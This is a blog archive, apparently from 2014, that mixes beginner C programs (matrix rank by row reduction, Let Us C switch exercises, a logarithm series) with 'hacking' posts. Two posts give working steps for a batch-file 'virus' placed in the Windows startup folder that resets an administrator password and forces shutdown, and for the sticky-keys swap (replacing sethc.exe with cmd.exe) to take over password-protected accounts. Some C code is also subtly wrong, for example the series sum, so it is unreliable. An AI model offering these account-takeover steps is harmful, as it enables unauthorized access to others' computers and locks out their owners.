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Sunday 26 October 2014

Program For Finding Rank Of Matrix In C



This program is for finding rank of matrix and solving system of linear equation
Let's try it.

#include<stdio.h>
#include<conio.h>
    float a[10][10];
    float b[10];
    int m,n;
void setorder();
void getmatrix();
int chkzero(int i);
void printrank();
void print();
void rowop(int i);
void changerow(int i, int l);

void main()    {
    clrscr();
    int i=1;
    int chk;
   
    setorder();
    getmatrix();
    clrscr();
    print();
    for(i=1;i<m;)    {
chk = chkzero(i);
        if((a[i-1][i-1]==0) && (chk==1) )    {
            changerow(i,i);

        }
        else    {
            rowop(i);
            i++;
        }
    }
        printf("\n\tFinal Matrix Is:\n\n");
          print();
          printrank();

    getch();
}

void setorder()     {
printf("Enter Order of Matrix\n");
scanf("%d%d",&m,&n);
clrscr();
}

void getmatrix()    {
        int x,y,z;
        printf("Enter Coefficient Matrix\n");
        for(x=0;x<m;x++)    {
              for(y=0;y<n;y++)      {
                    scanf("%f" ,&a[x][y]);
              }
        }

        clrscr();

        printf("Enter Matrix of Constants\n");
         for(z=0;z<m;z++)    {
           scanf("%f",&b[z]);
         }
         clrscr();
}

void changerow(int i,int l)    {
    float temp,temp1;
int j;
    if(a[i][l-1]==0)    {
        i++;
        changerow(i,l);
    }
    else    {
        temp1=b[i-1];
        b[i-1]=b[i];
        b[i]=temp1;
        for(j=0;j<n;j++)    {
            temp=a[i-1][j];
            a[i-1][j]=a[i][j];
            a[i][j]=temp;
        }
        printf("\t\tR%d%d\n\n",i,i+1);
        print();
    }
}

void rowop(int i)    {
    float temp1,temp2,temp3;
int j;
    int l=1;
    int k=i;
    int o=i;
    temp1=a[o-1][o-1];
    //    printf("\n%d",i);
    for(;i<m;i++,l++)    {
        temp2=a[i][i-l];
if(temp1!=0)  {
        b[i]=b[i]-(temp2/temp1)*b[i-l];
        for(j=0;j<n;j++)    {
            a[i][j]=a[i][j]-(temp2/temp1)*a[i-l][j];
        }
}
    if(temp2!=0)    {
        printf("\n\tR%d=R%d-(%.3f/%.3f)*R%d\n",i+1,i+1,temp2,temp1,k);
        print();
    }

    }


}

int chkzero(int i)      {
int k=i;
int j=0;

     for(;j<n;j++)     {
          if (a[k][j]==0)   {
                //  return 0;
          }

           else       {
         //      break;
               return 1;
            
           }
     }

}

void print()    {
    int x,y;
    for(x=0;x<m;x++)    {
        for(y=0;y<n;y++)    {
            printf("%10.3f ",a[x][y]);
        }
        printf("\t%12.3f",b[x]);
        printf("\n");
    }
    printf("\n");
}

void printrank()     {
        int x,y;
        int rank=0;
        for(x=0;x<m;x++)     {
            for(y=0;y<n;y++)     {
                  if (a[x][y]!=0)   {
                         rank++;
                         break;
                  }
            }
        }
       printf("\n\t\tRank of given matrix is %d",rank);
}

Wednesday 3 September 2014

Virus Which Changes Password On Every Logon


This article is about making a virus that changes password of windows to the password hacker wants on every Log on. Just remember that you must log in with Administrator privileges to performing following trick. Actually idea about this trick is given to me by my friend ‘Punit’ so all credit of this trick is of him. If you don’t know How to hack windows password then read article Hack any Windows Password 100% working - Real Hacking


Now follow the steps to make virus

1.Start your computer with Administrator privilages.
2.Open Notepad and type following code
   @echo of
   net user “user_name_of_account_having_administrator_privilages” “new_password”
   shutdown –s –f –t 15 –c “HELLO WOLWEB”
3.Save it as “changePass.bat”.
4.Open Start menu in search box type “shell:startup” and hit enter.
5.Now you see the files that execute at startup, now copy “changePass.bat” and paste it in folder appear by opening “shell:startup”.

Now everytime computer is start irrespective of old password, password changes to the password written in virus coding.

Hack any Windows Password 100% working - Real Hacking



This is 100% working trick for hacking Windows password which is applicable to most of the versions of windows i.e. Windows XP all service packs, Windows 7 all versions.
All you have to need for performing this trick is any Unix based operating system i.e. any version of Linux which made bootable through CD drive or USB drive (I am using Kali Click here to download Kali Linux). If you doesn’t know how to make linux bootable then read read article Make Bootable/Live Linux USB/Disc
Let’s start procedure
1.Change your Boot Priority from BIOS Setup wizard. Make boot order as CD Drive, Removable Disk, Hard Disk. (If you already have following order then skip first step).

2.Plug your CD drive or USB drive containing Linux OS.

3.Select Live Boot Mode when it asks for booting, don’t select Install otherwise you will loose your older installed operating system.

4.After booting Linux click on Computer and navigate to following address  “C:\Windows\System32”

5.Find file “sethc.exe” and rename it to “sethc.exe.backup”

6.Find file “cmd.exe” in same directory, copy and paste it in same directory and rename the “cmd(copy).exe” to “sethc.exe”

7.Shutdown your Computer, Plug out USB and Start Computer again.

8.When Windows boot and asks for password press “Shift” key for 5 times.

9.You will see cmd in front of you now type following commands without quotes
   net user (press enter)
   net user “username_of _account_to_change_password” “new_password” (press enter)

10.Now you see the message “Command Completed Successfully”. Close cmd and enter new password into password field of login screen and you can access password protected account.

11.Now again boot Linux and delete “sethc.exe” and rename “sethc.exe.backup” to “sethc.exe”. So no one is able to change it by pressing shift key 5 times.

Now password hacking process is completed successfully. But if you wanted that no one other than you should change or know the password of computer then read article Virus Which Changes Password On Every Logon

Make Bootable/Live Linux USB/Disc



This article is about making bootable usb drive or disc of any Linux version, Just follow the steps
For making bootable USB:-
1.Download iso file of any version of Linux from internet it is available on internet for free.
2.Download “Universal-USB-Installer” from internet it is available on internet for free and open it
3.Select Linux distribution you have from drop down menu.
4.Browse .iso file from computer
5.Select USB drive in which you wanted to install Linux and click on Create. Select Yes if prompted.

For making bootable CD/DVD:-
1.Download iso file of any version of Linux from internet it is available on internet for free.
2.Open this iso file with “Windows Disc Image Burner” or any other disc burner tool.and start burning  process.

Monday 7 July 2014

Find Grace Marks Of Student Using Switch Program In C


This article is from solution of Let Us C by Yashwant Kanetkar. I also posted many another articles regarding solutions of Let Us C. If you have any problem regarding solution then give comment, I will surely reply your question.

Q. Write a program which to find the grace marks for a student using switch. The use should enter the class obtained by the student and the number of subjects he has failed in. Use the following logic:
    - If the student gets first class and the number of students he failed in is greater than 3, then he does not get ay grace. If the number of subjects he failed in is less than or equal to 3, then the grace is of 5 marks per subject.
    - If the student gets second class and the number of subjects he failed in is greater than 2, then he does not get any grace. If the number of subjects he failed in is less than or equal to 2, then the grace is of 4 marks per subject.
    - If the student gets third class and the number of subjects he failed in is greater than 1, then he does not get any grace. If the number of subjects he failed in is equal to 1, then the grace is of 5 marks per sunject.

Ans.

#include<stdio.h>
#include<conio.h>
void main()
{
    clrscr();
    int clss, nos_fail, grace;
    printf("Enter class obtained by student and number of subjects he failed in ");
    scanf("%d%d",&clss,&nos_fail);
    switch(clss)
    {
        case 1:
            switch(nos_fail)
            {
                case 1:
                case 2:
                case 3:
                    grace=5;
                    break;

                default:
                    grace=0;
                    break;
            }
            break;

        case 2:
            switch(nos_fail)
            {
                case 1:
                case 2:
                    grace=4;
                    break;

                default:
                    grace=0;
                    break;
            }
            break;

        case 3:
            switch(nos_fail)
            {
                case 1:
                    grace=5;
                    break;

                default:
                    grace=0;
                    break;
            }
            break;
    }
    printf("\nStudent will get %d grace marks per subject",grace);
    getch();
}

Menu Driven Program Using Switch Program In C


This article is from solution of Let Us C by Yashwant Kanetkar. I also posted many another articles regarding solutions of Let Us C. If you have any problem regarding solution then give comment, I will surely reply your question.

Q. Write a menu driven program which has following options:
    1. Factorial of a program
    2. Prime or not
    3. Odd or even
    4. Exit
      Once a menu item is selected the appropriate action should be taken and once this action is finished, the menu should reappear. Unless the user selects the 'Exit' option the program should continue to work.
      Hint: Make use of an infinite while and a switch statement.

Ans.

#include<stdio.h>
#include<conio.h>
#include<stdlib.h>
void main()
{
    clrscr();
    int num, selc, fact=1, loop_count, remn;
    while(1)
    {
        clrscr();
        printf("1. Factorial of a number\n2. Prime or not\n3. Odd or even\n4. Exit\nSelect the menu item you want ");
        scanf("%d",&selc);
        switch(selc)
        {
            case 1:
                fflush(stdin);
                fact=1;
                clrscr();
                printf("Enter any number ");
                scanf("%d",&num);
                for(loop_count=1;loop_count<=num;loop_count++)
                {
                    fact=fact*loop_count;
                }
                printf("\nFacorial value of the number is %d",fact);
                getch();
                break;

            case 2:
                clrscr();
                printf("Enter any number ");
                scanf("%d",&num);
                for(loop_count=2;loop_count<num;loop_count++)
                {
                    remn=num%loop_count;
                    if(remn==0)
                    {
                        printf("\nIt is not a prime number");
                        break;
                    }
                    if((remn!=0) && (loop_count==num-1))
                    {
                        printf("It is a prime number");
                    }
                }
                getch();
                break;

            case 3:
                clrscr();
                printf("Enter any number ");
                scanf("%d",&num);
                remn=num%2;
                if(remn==0)
                    printf("\nIt is a Even Number");
                else
                    printf("\nIt is a Odd Number");
                getch();
                break;

            case 4:
                if(selc==4)
                    exit(1);
                break;
        }
    }
    getch();
}

Saturday 5 July 2014

Sum Of First 7 Terms Of Natural Logarithm Program In C


This article is from solution of Let Us C by Yashwant Kanetkar. I also posted many another articles regarding solutions of Let Us C. If you have any problem regarding solution then give comment, I will surely reply your question.

Q. The natural logarithm can be approximated by the following series.
 
Ans.

#include<stdio.h>
#include<conio.h>
#include<math.h>
void main()
{
    clrscr();
    float x, ans=0, f_ans=0, s_ans;
    int n;
    printf("enter the value of x ");
    scanf("%f",&x);
    for(n=1;n<=7;n++)
    {
        if(n==1)
        {
            ans=pow(((x-1)/x),n);
        }
        else
        {
            s_ans=pow(((x-1)/x),n);
            ans=s_ans/2;
        }
        f_ans=f_ans+ans;
    }
    printf("Sum of first seven terms is %f",f_ans);
    getch();
}